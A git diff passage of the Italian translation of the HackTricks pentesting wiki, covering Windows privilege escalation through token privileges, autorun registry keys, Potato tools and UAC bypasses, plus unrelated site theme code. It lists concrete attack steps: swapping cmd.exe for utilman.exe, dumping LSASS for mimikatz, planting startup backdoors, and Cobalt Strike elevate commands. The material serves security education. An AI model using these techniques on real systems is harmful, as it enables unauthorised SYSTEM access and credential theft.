L'attacco potrebbe essere rilevato da alcuni software antivirus.

Il metodo alternativo si basa sulla sostituzione dei file binari di servizio memorizzati in "Program Files" utilizzando lo stesso privilegio

| | **`SeTakeOwnership`** | _**Admin**_ | _**Comandi integrati**_ |

1. takeown.exe /f "%windir%\system32"
2. icalcs.exe "%windir%\system32" /grant "%username%":F
3. Rinomina cmd.exe in utilman.exe
4. Blocca la console e premi Win+U

|

L'attacco potrebbe essere rilevato da alcuni software antivirus.

Il metodo alternativo si basa sulla sostituzione dei file binari di servizio memorizzati in "Program Files" utilizzando lo stesso privilegio.

| @@ -167,6 +167,6 @@ Scheda completa dei privilegi dei token su [https://github.com/gtworek/Priv2Admi ## Riferimento - Dai un'occhiata a questa tabella che definisce i token di Windows: [https://github.com/gtworek/Priv2Admin](https://github.com/gtworek/Priv2Admin) -- Dai un'occhiata a [**questo documento**](https://github.com/hatRiot/token-priv/blob/master/abusing_token_eop_1.0.txt) riguardo al privesc con i token. +- Dai un'occhiata a [**questo documento**](https://github.com/hatRiot/token-priv/blob/master/abusing_token_eop_1.0.txt) riguardo privesc con i token. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens/README.md b/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens/README.md index fccecd25c..c706f7620 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens/README.md +++ b/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens/README.md @@ -26,8 +26,8 @@ Questo è un privilegio detenuto da qualsiasi processo che consente l'impersonif ### SeAssignPrimaryPrivilege -È molto simile a **SeImpersonatePrivilege**, utilizzerà lo **stesso metodo** per ottenere un token privilegiato.\ -Questo privilegio consente **di assegnare un token primario** a un processo nuovo/sospeso. Con il token di impersonificazione privilegiato puoi derivare un token primario (DuplicateTokenEx).\ +È molto simile a **SeImpersonatePrivilege**, utilizzerà il **stesso metodo** per ottenere un token privilegiato.\ +Questo privilegio consente **di assegnare un token primario** a un nuovo processo/sospeso. Con il token di impersonificazione privilegiato puoi derivare un token primario (DuplicateTokenEx).\ Con il token, puoi creare un **nuovo processo** con 'CreateProcessAsUser' o creare un processo sospeso e **impostare il token** (in generale, non puoi modificare il token primario di un processo in esecuzione). ### SeTcbPrivilege @@ -64,7 +64,7 @@ SeCreateTokenPrivilege è un permesso potente, particolarmente utile quando un u ### SeLoadDriverPrivilege -Questo privilegio consente di **caricare e scaricare driver di dispositivo** con la creazione di una voce di registro con valori specifici per `ImagePath` e `Type`. Poiché l'accesso in scrittura diretto a `HKLM` (HKEY_LOCAL_MACHINE) è ristretto, è necessario utilizzare `HKCU` (HKEY_CURRENT_USER). Tuttavia, per rendere `HKCU` riconoscibile dal kernel per la configurazione del driver, deve essere seguita una specifica path. +Questo privilegio consente di **caricare e scaricare driver di dispositivo** con la creazione di una voce di registro con valori specifici per `ImagePath` e `Type`. Poiché l'accesso in scrittura diretto a `HKLM` (HKEY_LOCAL_MACHINE) è ristretto, è necessario utilizzare `HKCU` (HKEY_CURRENT_USER). Tuttavia, per rendere `HKCU` riconoscibile dal kernel per la configurazione del driver, deve essere seguita una specifica strada. Questo percorso è `\Registry\User\\System\CurrentControlSet\Services\DriverName`, dove `` è l'Identificatore Relativo dell'utente corrente. All'interno di `HKCU`, deve essere creato l'intero percorso e devono essere impostati due valori: @@ -114,7 +114,7 @@ Questo privilegio consente di **debuggare altri processi**, inclusa la lettura e #### Dump della memoria -Puoi utilizzare [ProcDump](https://docs.microsoft.com/en-us/sysinternals/downloads/procdump) dalla [SysInternals Suite](https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite) per **catturare la memoria di un processo**. In particolare, questo può applicarsi al processo **Local Security Authority Subsystem Service ([LSASS](https://en.wikipedia.org/wiki/Local_Security_Authority_Subsystem_Service))**, che è responsabile della memorizzazione delle credenziali degli utenti una volta che un utente ha effettuato l'accesso con successo a un sistema. +Puoi utilizzare [ProcDump](https://docs.microsoft.com/en-us/sysinternals/downloads/procdump) dalla [SysInternals Suite](https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite) per **catturare la memoria di un processo**. In particolare, questo può applicarsi al processo **Local Security Authority Subsystem Service ([LSASS](https://en.wikipedia.org/wiki/Local_Security_Authority_Subsystem_Service))**, che è responsabile della memorizzazione delle credenziali utente una volta che un utente ha effettuato l'accesso con successo a un sistema. Puoi quindi caricare questo dump in mimikatz per ottenere le password: ``` @@ -165,7 +165,7 @@ Scheda completa dei privilegi del token su [https://github.com/gtworek/Priv2Admi | -------------------------- | ----------- | ----------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | | **`SeAssignPrimaryToken`** | _**Admin**_ | Strumento di terze parti | _"Consentirebbe a un utente di impersonare token e privesc al sistema nt utilizzando strumenti come potato.exe, rottenpotato.exe e juicypotato.exe"_ | Grazie [Aurélien Chalot](https://twitter.com/Defte_) per l'aggiornamento. Proverò a riformularlo in qualcosa di più simile a una ricetta presto. | | **`SeBackup`** | **Minaccia** | _**Comandi integrati**_ | Leggi file sensibili con `robocopy /b` |

- Potrebbe essere più interessante se puoi leggere %WINDIR%\MEMORY.DMP

- SeBackupPrivilege (e robocopy) non è utile quando si tratta di file aperti.

- Robocopy richiede sia SeBackup che SeRestore per funzionare con il parametro /b.

| -| **`SeCreateToken`** | _**Admin**_ | Strumento di terze parti | Crea token arbitrari inclusi diritti di amministratore locale con `NtCreateToken`. | | +| **`SeCreateToken`** | _**Admin**_ | Strumento di terze parti | Crea token arbitrari inclusi i diritti di amministratore locale con `NtCreateToken`. | | | **`SeDebug`** | _**Admin**_ | **PowerShell** | Duplica il token `lsass.exe`. | Script da trovare su [FuzzySecurity](https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Conjure-LSASS.ps1) | | **`SeLoadDriver`** | _**Admin**_ | Strumento di terze parti |

1. Carica un driver del kernel difettoso come szkg64.sys
2. Sfrutta la vulnerabilità del driver

In alternativa, il privilegio può essere utilizzato per scaricare driver relativi alla sicurezza con il comando integrato ftlMC. i.e.: fltMC sysmondrv

|

1. La vulnerabilità szkg64 è elencata come CVE-2018-15732
2. Il szkg64 codice di sfruttamento è stato creato da Parvez Anwar

| | **`SeRestore`** | _**Admin**_ | **PowerShell** |

1. Avvia PowerShell/ISE con il privilegio SeRestore presente.
2. Abilita il privilegio con Enable-SeRestorePrivilege).
3. Rinomina utilman.exe in utilman.old
4. Rinomina cmd.exe in utilman.exe
5. Blocca la console e premi Win+U

|

L'attacco potrebbe essere rilevato da alcuni software antivirus.

Il metodo alternativo si basa sulla sostituzione dei file binari di servizio memorizzati in "Program Files" utilizzando lo stesso privilegio

| diff --git a/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries.md b/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries.md index c25e1ed51..b56ba88ff 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries.md +++ b/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries.md @@ -138,14 +138,14 @@ Get-ItemProperty -Path 'Registry::HKLM\Software\Wow6432Node\Microsoft\Windows\Ru Get-ItemProperty -Path 'Registry::HKCU\Software\Microsoft\Windows\RunOnceEx' Get-ItemProperty -Path 'Registry::HKCU\Software\Wow6432Node\Microsoft\Windows\RunOnceEx' ``` -### Startup Path +### Percorso di Avvio - `HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders` - `HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders` - `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders` - `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders` -I collegamenti posizionati nella cartella **Startup** attiveranno automaticamente servizi o applicazioni all'accesso dell'utente o al riavvio del sistema. La posizione della cartella **Startup** è definita nel registro sia per l'ambito **Local Machine** che per l'ambito **Current User**. Ciò significa che qualsiasi collegamento aggiunto a queste posizioni **Startup** specificate garantirà che il servizio o il programma collegato si avvii dopo il processo di accesso o riavvio, rendendolo un metodo semplice per pianificare l'esecuzione automatica dei programmi. +I collegamenti posizionati nella cartella **Avvio** attiveranno automaticamente servizi o applicazioni all'accesso dell'utente o al riavvio del sistema. La posizione della cartella **Avvio** è definita nel registro sia per l'ambito **Macchina Locale** che per l'**Utente Corrente**. Ciò significa che qualsiasi collegamento aggiunto a queste posizioni **Avvio** specificate garantirà che il servizio o il programma collegato si avvii dopo il processo di accesso o riavvio, rendendolo un metodo semplice per programmare l'esecuzione automatica dei programmi. > [!NOTE] > Se puoi sovrascrivere qualsiasi \[User] Shell Folder sotto **HKLM**, sarai in grado di puntarlo a una cartella controllata da te e posizionare una backdoor che verrà eseguita ogni volta che un utente accede al sistema, aumentando i privilegi. @@ -230,7 +230,7 @@ All'interno di queste chiavi, esistono vari sottochiavi, ciascuna corrispondente **Approfondimenti sulla Sicurezza:** - Modificare o scrivere in una chiave dove **`IsInstalled`** è impostato su `"1"` con un **`StubPath`** specifico può portare all'esecuzione non autorizzata di comandi, potenzialmente per l'escalation dei privilegi. -- Alterare il file binario a cui si fa riferimento in qualsiasi valore di **`StubPath`** potrebbe anche portare all'escalation dei privilegi, date sufficienti autorizzazioni. +- Alterare il file binario a cui si fa riferimento in qualsiasi valore di **`StubPath`** potrebbe anche ottenere l'escalation dei privilegi, date sufficienti autorizzazioni. Per ispezionare le configurazioni di **`StubPath`** attraverso i componenti di Active Setup, possono essere utilizzati i seguenti comandi: ```bash @@ -243,9 +243,9 @@ reg query "HKCU\SOFTWARE\Wow6432Node\Microsoft\Active Setup\Installed Components ### Panoramica dei Browser Helper Objects (BHO) -I Browser Helper Objects (BHO) sono moduli DLL che aggiungono funzionalità extra a Microsoft Internet Explorer. Si caricano in Internet Explorer e Windows Explorer ad ogni avvio. Tuttavia, la loro esecuzione può essere bloccata impostando la chiave **NoExplorer** a 1, impedendo loro di caricarsi con le istanze di Windows Explorer. +I Browser Helper Objects (BHO) sono moduli DLL che aggiungono funzionalità extra a Internet Explorer di Microsoft. Si caricano in Internet Explorer e Windows Explorer ad ogni avvio. Tuttavia, la loro esecuzione può essere bloccata impostando la chiave **NoExplorer** a 1, impedendo loro di caricarsi con le istanze di Windows Explorer. -I BHO sono compatibili con Windows 10 tramite Internet Explorer 11 ma non sono supportati in Microsoft Edge, il browser predefinito nelle versioni più recenti di Windows. +I BHO sono compatibili con Windows 10 tramite Internet Explorer 11, ma non sono supportati in Microsoft Edge, il browser predefinito nelle versioni più recenti di Windows. Per esplorare i BHO registrati su un sistema, puoi ispezionare le seguenti chiavi di registro: @@ -276,7 +276,7 @@ reg query "HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Font Dr Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Font Drivers' Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Font Drivers' ``` -### Comando Apri +### Comando di apertura - `HKLM\SOFTWARE\Classes\htmlfile\shell\open\command` - `HKLM\SOFTWARE\Wow6432Node\Classes\htmlfile\shell\open\command` @@ -293,7 +293,7 @@ HKLM\Software\Microsoft\Wow6432Node\Windows NT\CurrentVersion\Image File Executi ``` ## SysInternals -Nota che tutti i siti dove puoi trovare autorun sono **già stati cercati da**[ **winpeas.exe**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS/winPEASexe). Tuttavia, per un **elenco più completo di file auto-eseguiti** puoi usare [autoruns ](https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns)di sysinternals: +Nota che tutti i siti dove puoi trovare autorun sono **già stati cercati da** [**winpeas.exe**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS/winPEASexe). Tuttavia, per un **elenco più completo di file auto-eseguiti** puoi utilizzare [autoruns](https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns) di sysinternals: ``` autorunsc.exe -m -nobanner -a * -ct /accepteula ``` diff --git a/src/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md b/src/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md index bc35160ed..2fe189bb2 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md +++ b/src/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md @@ -2,7 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} -> [!WARNING] > **JuicyPotato non funziona** su Windows Server 2019 e Windows 10 build 1809 e successivi. Tuttavia, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** possono essere utilizzati per **sfruttare gli stessi privilegi e ottenere accesso a livello `NT AUTHORITY\SYSTEM`\*\*. Questo [blog post](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) approfondisce lo strumento `PrintSpoofer`, che può essere utilizzato per abusare dei privilegi di impersonificazione su Windows 10 e Server 2019 dove JuicyPotato non funziona più. +> [!WARNING] > **JuicyPotato non funziona** su Windows Server 2019 e Windows 10 build 1809 e successivi. Tuttavia, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** possono essere utilizzati per **sfruttare gli stessi privilegi e ottenere accesso a livello `NT AUTHORITY\SYSTEM`\*\*. Questo [blog post](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) approfondisce lo strumento `PrintSpoofer`, che può essere utilizzato per abusare dei privilegi di impersonificazione su host Windows 10 e Server 2019 dove JuicyPotato non funziona più. ## Quick Demo diff --git a/src/windows-hardening/windows-local-privilege-escalation/seimpersonate-from-high-to-system.md b/src/windows-hardening/windows-local-privilege-escalation/seimpersonate-from-high-to-system.md index 53cf842e8..8146065eb 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/seimpersonate-from-high-to-system.md +++ b/src/windows-hardening/windows-local-privilege-escalation/seimpersonate-from-high-to-system.md @@ -5,7 +5,7 @@ ### Codice Il seguente codice da [qui](https://medium.com/@seemant.bisht24/understanding-and-abusing-access-tokens-part-ii-b9069f432962). Permette di **indicare un Process ID come argomento** e un CMD **in esecuzione come l'utente** del processo indicato verrà eseguito.\ -Eseguendo in un processo ad alta integrità, puoi **indicare il PID di un processo in esecuzione come System** (come winlogon, wininit) ed eseguire un cmd.exe come system. +Eseguendo in un processo ad alta integrità puoi **indicare il PID di un processo in esecuzione come System** (come winlogon, wininit) ed eseguire un cmd.exe come system. ```cpp impersonateuser.exe 1234 ``` @@ -158,7 +158,7 @@ Controlliamo i permessi attuali dell'Amministratore sui processi `svchost.exe` c 1. Seleziona un processo di `svchost.exe` 2. Clicca con il tasto destro --> Proprietà -3. All'interno della scheda "Sicurezza" clicca in basso a destra sul pulsante "Permessi" +3. Nella scheda "Sicurezza" clicca in basso a destra sul pulsante "Permessi" 4. Clicca su "Avanzate" 5. Seleziona "Amministratori" e clicca su "Modifica" 6. Clicca su "Mostra permessi avanzati" @@ -171,6 +171,6 @@ Guarda i privilegi che gli "Amministratori" hanno su `winlogon.exe`: ![](<../../images/image (1102).png>) -All'interno di quel processo gli "Amministratori" possono "Leggere la memoria" e "Leggere i permessi", il che probabilmente consente agli Amministratori di impersonare il token utilizzato da questo processo. +All'interno di quel processo, gli "Amministratori" possono "Leggere la memoria" e "Leggere i permessi", il che probabilmente consente agli Amministratori di impersonare il token utilizzato da questo processo. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/windows-security-controls/uac-user-account-control.md b/src/windows-hardening/windows-security-controls/uac-user-account-control.md index 8e4962626..ff79e59c9 100644 --- a/src/windows-hardening/windows-security-controls/uac-user-account-control.md +++ b/src/windows-hardening/windows-security-controls/uac-user-account-control.md @@ -4,7 +4,7 @@ ## UAC -[Il Controllo Account Utente (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) è una funzionalità che consente un **messaggio di consenso per attività elevate**. Le applicazioni hanno diversi livelli di `integrità`, e un programma con un **alto livello** può eseguire operazioni che **potrebbero compromettere il sistema**. Quando UAC è abilitato, le applicazioni e le attività vengono sempre **eseguite sotto il contesto di sicurezza di un account non amministratore** a meno che un amministratore non autorizzi esplicitamente queste applicazioni/attività ad avere accesso di livello amministratore al sistema per essere eseguite. È una funzionalità di comodità che protegge gli amministratori da modifiche non intenzionali, ma non è considerata un confine di sicurezza. +[Il Controllo Account Utente (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) è una funzionalità che consente un **messaggio di consenso per attività elevate**. Le applicazioni hanno diversi livelli di `integrità`, e un programma con un **alto livello** può eseguire compiti che **potrebbero compromettere il sistema**. Quando UAC è abilitato, le applicazioni e i compiti vengono sempre **eseguiti sotto il contesto di sicurezza di un account non amministratore** a meno che un amministratore non autorizzi esplicitamente queste applicazioni/compiti ad avere accesso di livello amministratore al sistema per essere eseguiti. È una funzionalità di comodità che protegge gli amministratori da modifiche non intenzionali ma non è considerata un confine di sicurezza. Per ulteriori informazioni sui livelli di integrità: @@ -46,7 +46,7 @@ REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\ HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System EnableLUA REG_DWORD 0x1 ``` -Se è **`1`** allora UAC è **attivato**, se è **`0`** o **non esiste**, allora UAC è **disattivato**. +Se è **`1`** allora UAC è **attivato**, se è **`0`** o non **esiste**, allora UAC è **disattivato**. Poi, controlla **quale livello** è configurato: ``` @@ -85,7 +85,7 @@ whoami /groups | findstr Level ## Bypass UAC > [!NOTE] -> Nota che se hai accesso grafico alla vittima, il bypass UAC è semplice poiché puoi semplicemente cliccare su "Sì" quando appare il prompt UAC. +> Nota che se hai accesso grafico alla vittima, il bypass UAC è semplice poiché puoi semplicemente cliccare su "Sì" quando appare il prompt UAS. Il bypass UAC è necessario nella seguente situazione: **l'UAC è attivato, il tuo processo sta girando in un contesto di integrità media e il tuo utente appartiene al gruppo degli amministratori**. @@ -119,7 +119,7 @@ dir \\127.0.0.1\c$\Users\Administrator\Desktop ``` ### Bypass UAC con Cobalt Strike -Le tecniche di Cobalt Strike funzioneranno solo se UAC non è impostato al suo massimo livello di sicurezza. +Le tecniche di Cobalt Strike funzioneranno solo se UAC non è impostato al massimo livello di sicurezza. ```bash # UAC bypass via token duplication elevate uac-token-duplication [listener_name] @@ -156,7 +156,7 @@ Also, usando [this](https://en.wikipedia.org/wiki/Windows_10_version_history) pa **Tutte** le tecniche utilizzate qui per bypassare AUC **richiedono** una **shell interattiva completa** con la vittima (una comune shell nc.exe non è sufficiente). -Puoi ottenerlo usando una sessione **meterpreter**. Migra a un **processo** che ha il valore **Session** uguale a **1**: +Puoi ottenerla usando una sessione **meterpreter**. Migra a un **processo** che ha il valore **Session** uguale a **1**: ![](<../../images/image (96).png>) @@ -164,7 +164,7 @@ Puoi ottenerlo usando una sessione **meterpreter**. Migra a un **processo** che ### Bypass UAC con GUI -Se hai accesso a una **GUI puoi semplicemente accettare il prompt UAC** quando lo ricevi, non hai davvero bisogno di un bypass. Quindi, ottenere accesso a una GUI ti permetterà di bypassare l'UAC. +Se hai accesso a una **GUI puoi semplicemente accettare il prompt UAC** quando lo ricevi, non hai realmente bisogno di un bypass. Quindi, ottenere accesso a una GUI ti permetterà di bypassare l'UAC. Inoltre, se ottieni una sessione GUI che qualcuno stava usando (potenzialmente tramite RDP) ci sono **alcuni strumenti che verranno eseguiti come amministratore** da dove potresti **eseguire** un **cmd** ad esempio **come admin** direttamente senza essere nuovamente sollecitato da UAC come [**https://github.com/oski02/UAC-GUI-Bypass-appverif**](https://github.com/oski02/UAC-GUI-Bypass-appverif). Questo potrebbe essere un po' più **furtivo**. diff --git a/theme/book.js b/theme/book.js index 1c8d77287..ccba50404 100644 --- a/theme/book.js +++ b/theme/book.js @@ -590,6 +590,61 @@ function playground_text(playground, hidden = true) { }); })(); + +(function menubarLanguage() { + var menubarLanguageToggleButton = document.getElementById('menubar-languages-toggle'); + var menubarLanguagePopup = document.getElementById('menubar-languages-popup'); + var languageButtons = menubarLanguagePopup.querySelectorAll('.menu-bar-link'); + + function showLanguage() { + menubarLanguagePopup.style.display = 'flex'; + menubarLanguageToggleButton.setAttribute('aria-expanded', true); + } + + function hideLanguage() { + menubarLanguagePopup.style.display = 'none'; + menubarLanguageToggleButton.setAttribute('aria-expanded', false); + menubarLanguageToggleButton.focus(); + } + + menubarLanguageToggleButton.addEventListener('click', function () { + if (menubarLanguagePopup.style.display === 'flex') { + hideLanguage(); + } else { + showLanguage(); + } + }); + + menubarLanguagePopup.addEventListener('focusout', function(e) { + // e.relatedTarget is null in Safari and Firefox on macOS (see workaround below) + if (!!e.relatedTarget && !menubarLanguageToggleButton.contains(e.relatedTarget) && !menubarLanguagePopup.contains(e.relatedTarget)) { + hideLanguage(); + } + }); + + // Should not be needed, but it works around an issue on macOS & iOS: https://github.com/rust-lang/mdBook/issues/628 + document.addEventListener('click', function(e) { + if (menubarLanguagePopup.style.display === 'block' && !menubarLanguageToggleButton.contains(e.target) && !menubarLanguagePopup.contains(e.target)) { + hideLanguage(); + } + }); + + languageButtons.forEach((btn) => { + btn.addEventListener('click', function(e) { + const regex = /(?:(?:\/)+(?[a-z]{2}(?=\/|$)))?(?(?:\/)*.*)?/g + var match = regex.exec(window.location.pathname) + + var path = match.groups.path + console.log(`Path: ${path} ${typeof path}`) + + const lang = match.groups.lang + console.log(`Lang: ${lang}`) + + window.location = `/${e.target.id}${path}${window.location.hash}` + }); + }) +})(); + (function chapterNavigation() { document.addEventListener('keydown', function (e) { if (e.altKey || e.ctrlKey || e.metaKey || e.shiftKey) { return; } diff --git a/theme/css/chrome.css b/theme/css/chrome.css index 8cbda7c69..ead7ee881 100644 --- a/theme/css/chrome.css +++ b/theme/css/chrome.css @@ -83,6 +83,13 @@ body.sidebar-visible #menu-bar { } } +.right-buttons .icons { + display: flex; + flex-direction: row; + flex-wrap: wrap; + column-gap: 0.5rem; +} + .icon-button { border: none; background: var(--bg); @@ -139,10 +146,13 @@ body.sidebar-visible #menu-bar { /* Collapse Menu Popup */ +#menubar-collapse-toggle { + position: relative; +} #menubar-collapse-popup { position: absolute; - right: 30px; - top: var(--menu-bar-height); + right: 0px; + top: 35px; z-index: 105; border-radius: 5px; font-size: 14px; @@ -172,6 +182,44 @@ body.sidebar-visible #menu-bar { background-color: var(--theme-hover); } +/* Languages Menu Popup */ +#menubar-languages-toggle { + position: relative; +} + +#menubar-languages-popup { + position: absolute; + right: 0px; + top: 35px; + z-index: 105; + border-radius: 5px; + font-size: 14px; + color: var(--fg); + background: var(--bg); + border: 1px solid var(--table-border-color); + margin: 0; + padding: 0px; + display: none; + flex-direction: column; + max-height: 300px; + width: 150px; + overflow: scroll; +} +#menubar-languages-popup .menu-bar-link { + border: 0; + margin: 0; + padding: 8px 20px; + line-height: 25px; + white-space: nowrap; + text-align: start; + cursor: pointer; + color: inherit; + background: inherit; + font-size: inherit; +} +#menubar-languages-popup .menu-bar-link:hover { + background-color: var(--theme-hover); +} .left-buttons { display: flex; diff --git a/theme/index.hbs b/theme/index.hbs index ecd2565f4..95c964391 100644 --- a/theme/index.hbs +++ b/theme/index.hbs @@ -144,34 +144,60 @@
- - +
+ - {{#if search_enabled}} - - {{/if}} + {{#if search_enabled}} + + {{/if}} + + +
{{#if print_enable}} diff --git a/theme/sponsor.js b/theme/sponsor.js index 65f157364..5b3f66804 100644 --- a/theme/sponsor.js +++ b/theme/sponsor.js @@ -19,13 +19,11 @@ try { const response = await fetch(url, { method: "GET" }) if (!response.ok) { - console.log(response) throw new Error(`Response status: ${response.status}`) } const json = await response.json() var sponsor = json.sponsor - console.log("boop", sponsor) sponsorImg.src = sponsor.image_url sponsorTitle.textContent = sponsor.name sponsorDescription.innerHTML = sponsor.description